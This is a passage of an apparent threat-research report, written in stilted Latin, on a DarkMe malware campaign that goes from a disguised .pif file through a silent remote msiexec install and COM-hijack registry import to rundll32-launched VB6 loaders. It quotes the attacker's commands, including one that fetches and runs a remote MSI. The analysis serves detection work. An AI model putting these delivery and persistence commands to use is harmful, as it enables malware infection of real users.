BackgroundDarkMe, trojanis spionis et instrumentum accessus remoti Visual Basic 6 (VB6), notum factum est mense Februario 2024 ob usum dierum nullorum ad malware tradendum. Sed haec familia malware primum observata est mense Septembri 2021 et publice documentata anno post NSFOCUS sub "Operation DarkCasino" ad gregem vocatum EvilNum. Investigatores apud Trend Micro et SonicWall etiam hanc malware, cum usualibus caveatis attributionis, ad Water Hydra, coetum APT cum inusitato profilo pecuniam potius quam spionaginem quaerentem, coniunctam esse. Eius campaniae typice motivatione pecuniariae sunt, mercatoribus forex, forum commerciorum, suggestis aleatoriis online, et usoribus cryptocurrency destinata. Quod DarkMe malware notabile fecit erat traditio. Anno 2023, Water Hydra defectum extensionis WinRAR CVE-2023-38831 ut diem nullum armavit, archiva malitiosa in forum mercatorum deponens. Nuper anno 2023 et in principio 2024, Water Hydra ad CVE-2024-21412 transiit, bypass Defender SmartScreen constructum super brevem quae ad aliam brevem indicat (ita, hoc res erat), in parte WebDAV post aspectum Exploratoris fabricatum. Sed nostra fabula ex perspectiva quadrati venationis Huntress incipit, et haec ars fere non agnoscitur. Nihil hic exploditur. Regula venationis aliquod inusitatum actum circa fasciculum informationis programmatis (PIF) ad Windows Installer launchandum captavit. Omnia infra illud PIF sunt DarkMe secundum librum, sed omnia ante hoc, vere, taediosa sunt. Credidimus hanc fabulam esse interesting ad narrandum, nihilominus, cum illustret maiorem tendentiam actorum provectorum provectorum ad methodos initiales minus sophisticatas ad latiorem suum destinatum.
Figura 1: Summarium catenae impugnationis a hac nova campania DarkMe adhibita
Technical breakdown
Initial access: imago quae non erat
Traditio per vinculum in vetere malspam email ingenii socialis venit:
Figura 2: Email phishing tradens PIF dissimulatum ut imago
Quamvis vinculum in email ad https://readonline365[.]com/view/image.png, URL pro fasciculo graphics, server interretialis imaginem.pif, executable Windows, tradidit.
Figura 3: Tabula Proprietatum fasciculum describit ut "Shortcut to MS-DOS program" sed fasciculus est, ipse, executable.
Extensio .pif, reliquiae a tempore DOS, ad "fasciculum informationis programmatis" refert. Systemata moderna Windows fasciculos .pif ut programmata exsequentur, sine respectu ad quid extensio implicet (vel quid icon ostendit).
Figura 4: Cum renominatur cum extensione .exe, tabula Details in tabula Proprietatum fasciculi revelat informationem falsam antea celatam quae implicat fasciculum esse componentem producti securitatis vocatum Aegis Sentinel, sed ad illud productum non pertinet.
Idem, identicum fasciculum, 1 MB PE32+ binarium, ad duas ambitus clientium Huntress traditum est. Usores simpliciter duplici-clickaverunt et fasciculum demerunt, non intellegentes quid esset.
Figura 5: download et executio image.pif
Staging: msiexec, wrapper exemsi, et scriptum
Sola operatio PIF est invocare Microsoft installer, msiexec, ut download et exsequi fasciculum .msi installer in inscriptione interretiali a oppugnatore registrata. Hanc mandatum exsecutum est ut id faceret: msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart
Fetching a remote MSI over HTTPS cum /quiet rara est in plerisque ambitus, quia legitimi installatores fere numquam in radice domini aliter vacui habitant.
MSI ipse indicium est. Metadata eius identificat eum ut constructum cum exemsi "MSI Wrapper" (versio 11.0.53.0), sub nomine operis "PrinterFind Softwares," cum data creationis die 11 Ianuarii 2024. Scaffolding benignum wrapper totum praesens est: MsiCustomActions.dll newdev.exe stub BZ.RUN_BEFORE_INSTALL_FILE ad wScript.exe
Aliter dicendo, propositum installatoris est expandere fasciculum archivum Windows Cabinet et currere scriptum. EXPAND.EXE -R files.cab componentes in %AppData%\ComponentsFolder\ deponit, et installator prnfig.wsf exsequitur.
Figura 6: Componentes DarkMe in folder nomine ComponentsFolder installati
Loading Gist...
Figura 7: prnfig.wsf, scriptum staging, ostendens fasciculi copias, re-scripturam registri-template, et reg import plus rundll32 /sta traditio.
Legere prnfig.wsf apertum est clara fenestra in intentiones operatoris. Fasciculus Windows Script Host quattuor res facit:
Copias omnem fasciculum deponens in %AppData%\ComponentsFolder\
Copias solum clspack.exe in %AppData%\Microsoft\, staging target cavum ubi signatum Microsoft binary minimum ex loco videtur
Scribit template ad faciendum mutationes in Registrum Windows
Ignit loader
Fasciculus deponens text.txt est template Registri qui COM objectum registrat ut @="Coconout.dll". Scriptum id legit, substituit plenam %AppData%\ComponentsFolder\Coconout.dll viam (inclusa nomine rationis usoris localis in via), escapet backslashes pro .reg import, et scribit eventum ad filetext2.txt. Tum dormit 1.5 secundis et currit: cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
Loading Gist...
Figura 8: Template filetext.txt Registri pro import
Iste import registrat servientem COM sub HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}, cum ProgID Coconout.Primary et InprocServer32 ad Coconout.dll directum.
Loader: Rundll32.exe et tres loaders Visual Basic 6
Mandatum quod ultimam infectionis gradum initiat, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}, in campania 2024 observatum est, et est magna signatura ad detegendum vel venandum. Flag /sta COM objectum registratum in unicam-apartment (STA) per IShellRunDll::Run currit, via exsecutionis minus nota quae detegit detegentia in usuali rundll32 <dll>,<export> syntaxi.
Notabiliter, via DLL numquam in linea mandati apparet, tantum opaca UUID.
Ibi catena per tres VB6 loaders currit, quorum quisque est stratum obfuscationis vocans exportum nominatum in sequenti: Coconout.dll est stage-1 COM lo